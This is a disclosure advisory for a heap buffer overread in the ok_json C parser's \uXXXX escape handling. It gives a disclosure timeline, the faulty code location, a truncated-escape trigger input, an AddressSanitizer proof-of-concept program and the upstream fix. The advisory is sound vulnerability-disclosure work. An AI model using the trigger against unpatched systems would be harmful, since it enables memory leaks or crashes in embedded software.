BVE-2026-0001FixedHigh

ok_json: heap buffer overread in \uXXXX escape parsing

April 22, 2026ionuxok_json

A heap buffer overread in ok_json's `\uXXXX` escape parser. A truncated `\u` escape at the end of input causes the parser to read past the end of the caller-supplied buffer while consuming hex digits. Fixed upstream on 2026-04-14.

// Timeline

  1. 2026-04-08 Reported to vendor
  2. 2026-04-13 Vendor acknowledged
  3. 2026-04-14 Fixed upstream; issue closed
  4. 2026-04-22 CVE requested (pending)

Summary

ok_json is a C99 JSON parser targeting embedded and safety-critical contexts. In versions prior to the fix on 2026-04-14, the \uXXXX Unicode escape parser reads hex digits in a loop without checking that the parser position is still within the caller-supplied buffer.

Technical details

Location: src/ok_json.c:1120-1134.

When the parser encounters \u, it enters a for-loop that reads four hex digits. The loop had no position < json_len guard, so input that ended mid-escape produced an out-of-bounds read.

A secondary logic bug compounded the issue: once an error was detected (loop_break = 1), subsequent iterations still fell into the else branch and incremented parser->position, advancing past the error point.

Trigger

A truncated \u escape at the end of input — 10 bytes, no NUL terminator, no padding past the allocation:

{"a":"\uAB

After consuming \u, A, and B, the loop reads two bytes past the end of the buffer.

Proof of concept

/* Compile:  clang -g -O0 -fsanitize=address -Iinclude poc.c -o poc
 * Run:      ./poc
 *
 * After consuming \u, the hex loop needs 4 digits but only 2 remain
 * in the buffer (A, B). Iterations 2 and 3 read parser->json[10] and
 * parser->json[11], past the 10-byte allocation.
 */
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include "../src/ok_json.c"

int main(void)
{
    const char src[] = "{\"a\":\"\\uAB";
    size_t len = sizeof(src) - 1U;          /* 10 bytes, exclude compiler NUL */

    char *buf = (char *)malloc(len);        /* tight allocation — ASan red zone after */
    if (buf == NULL) { return 1; }
    memcpy(buf, src, len);

    OkJsonParser parser;
    okj_init(&parser, buf, (uint16_t)len);

    OkjError rc = okj_parse(&parser);
    printf("okj_parse returned: %d\n", (int)rc);

    free(buf);
    return 0;
}

AddressSanitizer output:

heap-buffer-overflow at ok_json.c:1124 in okj_parse_value
READ of size 1 at 0 bytes to the right of 10-byte region

Impact

Out-of-bounds read of up to two bytes past a caller-supplied buffer. In safety-critical or embedded contexts (the library’s stated target), such reads can leak adjacent memory or cause undefined behavior.

Fix

Upstream patched on 2026-04-14: the hex-digit loop now checks parser->position < parser->json_len before each read, and the else-branch fallthrough is corrected so position does not advance after loop_break. See issue #69 for the full disclosure and vendor response.